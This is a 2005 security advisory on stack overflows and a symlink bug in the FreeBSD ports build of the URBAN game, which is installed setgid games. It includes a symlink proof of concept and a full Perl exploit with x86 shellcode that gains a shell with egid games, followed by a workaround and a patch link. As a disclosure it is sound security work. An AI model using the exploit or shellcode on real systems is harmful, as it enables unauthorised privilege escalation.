

# [UNIX] URBAN Multiple Vulnerabilities

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-09/0053.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 09/13/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 13 Sep 2005 17:18:54 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

URBAN Multiple Vulnerabilities

---

## SUMMARY

" <<https://urban.bengburken.net>> URBAN is a bloody, violent sidescrolling shoot-em-up in which you're a renegade military cyborg fighting your way out of the military base where you were created."

URBAN suffers from multiple stack based overflow that allow a local user to run arbitrary code on the machine.

## DETAILS

Vulnerable Systems:

- \* URBAN version 1.5.3\_1

FreeBSD ports release of URBAN installs the game with a setuid flag, which allows privileges escalation.

Immune Systems:

- \* The latest official release of urban, 1.5.3, contains all the bugs aforementioned, but does not install urban with setgid games privileges.

The official version of URBAN when installed from the vendor website does not install itself as setuid, so no privilege escalation is done.

## Securiteam: [UNIX] URBAN Multiple Vulnerabilities

Nevertheless, URBAN is also maintained and distributed as a FreeBSD ports package, as well as having its own developer and official tarball release. The FreeBSD ports package (/usr/ports/games/urban) installs setgid games by default, to allow for global score files. This allows an attacker to exploit these vulnerabilities to gain higher privileges.

### Stack Overflow in Environment Variables:

Urban is vulnerable to a stack overflow when handling the \$HOME environmental variable. When urban is installed with setgid games privileges, privilege escalation is possible. The overflow occurs when urban copies the contents of the user's \$HOME environmental variable into a fixed-length buffer without bounds checking (sprintf is used):

[ ... ]

```
sprintf(filename, "%s/.urban", getenv("HOME"));
```

[ ... ]

```
    sprintf(filename, "%s/.urban/savegame.dat", getenv("HOME"));
```

[ ... ]

Several other less likely stack overflows may occur, such as in the copying of the \$USER environmental variable in certain circumstances.

[ ... ]

```
if(getenv("USER") != NULL)
    strcpy(Name, getenv("USER"));
```

[ ... ]

### Unsafe Symlink Handling:

Urban is also vulnerable to some less serious symlink bugs, due to the following of symbolic links when creating certain high score and save game files.

[ ... ]

```
    /* Create dir */
    sprintf(filename, "%s/.urban", getenv("HOME"));
```

[ ... ]

```
    mkdir(filename, S_IRUSR | S_IWUSR | S_IXUSR);

    sprintf(filename, "%s/.urban/savegame.dat",
getenv("HOME"));

    if((fs = fopen(filename, "wb")) == NULL)
```

[ ... ]

When urban has the setgid games privileges, an attacker can craft an appropriate symbolic link (i.e. ~/.urban/savegame.dat) which can lead to creation and/or truncation of files with the privileges of gid games. This may allow attackers to edit global score files and possibly leverage further attacks (i.e. exploit symlink bugs in games which require write-access to /var/games to exploit).

Exploit Code:

The symbolic link bug outlined earlier can be exploited by creating a suitable symbolic link in one's home directory, such as ~/.urban/savegame.dat.

```
bash-2.05b# ls -l /var/games/helloworld
ls: /var/games/helloworld: No such file or directory
bash-2.05b# ln -s /var/games/helloworld savegame.dat
bash-2.05b# ls -l
total 0
lrwxr-xr-x 1 root wheel 21 Sep 4 16:17 savegame.dat ->
/var/games/helloworld
bash-2.05b# urban
[ output truncated ]
bash-2.05b# ls -l /var/games/helloworld
-rw-r--r-- 1 root games 0 Sep 4 16:17 /var/games/helloworld
```

It is possible to write to any file writable by group games. Such may allow editing of score files and the possibility of further privilege escalation (i.e. exploitation of bugs which require access to score file dirs).

The stack overflow in handling of the user's \$HOME environmental variable is exploitable as a vanilla buffer overflow.

```
su-2.05b$ export HOME=`perl -e 'print "a"x2000`
su-2.05b$ gdb -q urban
(no debugging symbols found)...(gdb) r
Starting program: /usr/X11R6/bin/urban
```

```
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1 (LWP 100144)]
0x61616161 in ?? ()
(gdb)
```

Exploitation is straight forward.

```
#!/usr/bin/perl
# FreeBSD /usr/ports/games/urban local stack overflow exploit
# 'urban' is vulnerable to a stack overflow when handling
# the $HOME environmental variable, thus allowing privilege
# escalation to gid games since 'urban' is setgid 'games'.
```

## Securiteam: [UNIX] URBAN Multiple Vulnerabilities

```
# Shellcode and NOPs are placed inside an environmental variable
# ($HACK) and $HOME is crafted such that 'urban' will return into
# the code in $HACK. The address of $HACK in the environment may
# need some investigating (i.e. using gdb).
#
# shaun@213$ id
# uid=1003(shاون) gid=1004(shاون) groups=1004(shاون)
# shaun@213$ perl urban.pl
# $ id
# uid=1003(shاون) gid=1004(shاون) egid=13(games) groups=13(games),
1004(shاون)
# $

$ret = 0xbfbfeece; #works on my FreeBSD 5.4-RELEASE system
$nop = "\x90";
$shellcode =
"\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xff\x89\x36\x89".
"\x76\x04\x89\x76\x08\x83\x06\x10\x83\x46\x04\x18\x83\x46".
"\x08\x1b\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x1d".
"\x50\x56\xff\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07".
"\x07\xe8\xc4\xff\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02".
"\x02\x02\x02\x02\x02\x02\x02/bin/sh.-c.sh";

for($i = 0; $i < 100; $i++) {
$buffer .= $nop;
}
$buffer .= $shellcode;
local($ENV{'HACK'}) = $buffer;

$ret = pack("l", $ret);
local($ENV{'HOME'}) = "a"x1036 . $ret;
exec("urban"); # run vulnerable program
```

Code is also available at: <<http://www.demodulated.net/exploits/urban.pl>>  
<http://www.demodulated.net/exploits/urban.pl>

Exploit example output:

```
su-2.05b$ id
uid=1002(shاون) gid=1002(shاون) groups=1002(shاون)
su-2.05b$ perl urban.pl
$ id
uid=1002(shاون) gid=1002(shاون) egid=13(games) groups=13(games),
1002(shاون)
```

Workaround:

Remove setgid games privileges from the urban binary.

```
bash-2.05b# ls -l `which urban`
-r-xr-sr-x 1 root games 340224 Sep 4 16:17 /usr/X11R6/bin/urban
bash-2.05b# chmod g-s `which urban`
```

Securiteam: [UNIX] URBAN Multiple Vulnerabilities

```
bash-2.05b# ls -l `which urban`  
-r-xr-xr-x 1 root games 340224 Sep 4 16:17 /usr/X11R6/bin/urban
```

This will render global scoring unusable unless urban is run as root or games user.

Solution:

Information and patches were submitted to the FreeBSD ports urban maintainer, Jean-Yves Lefort, and he reports that the patches have been committed for later release. An unofficial patch file can be obtained at:

<<http://www.demodulated.net/urban-overflows.patch>>  
<http://www.demodulated.net/urban-overflows.patch>

The patch fixes the overflows mentioned earlier, and several other possible overflows. Privileges are also dropped at the beginning of execution and restored when needed.

ADDITIONAL INFORMATION

The information has been provided by <<mailto:shaun@rsc.cx>> Shaun Colley.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.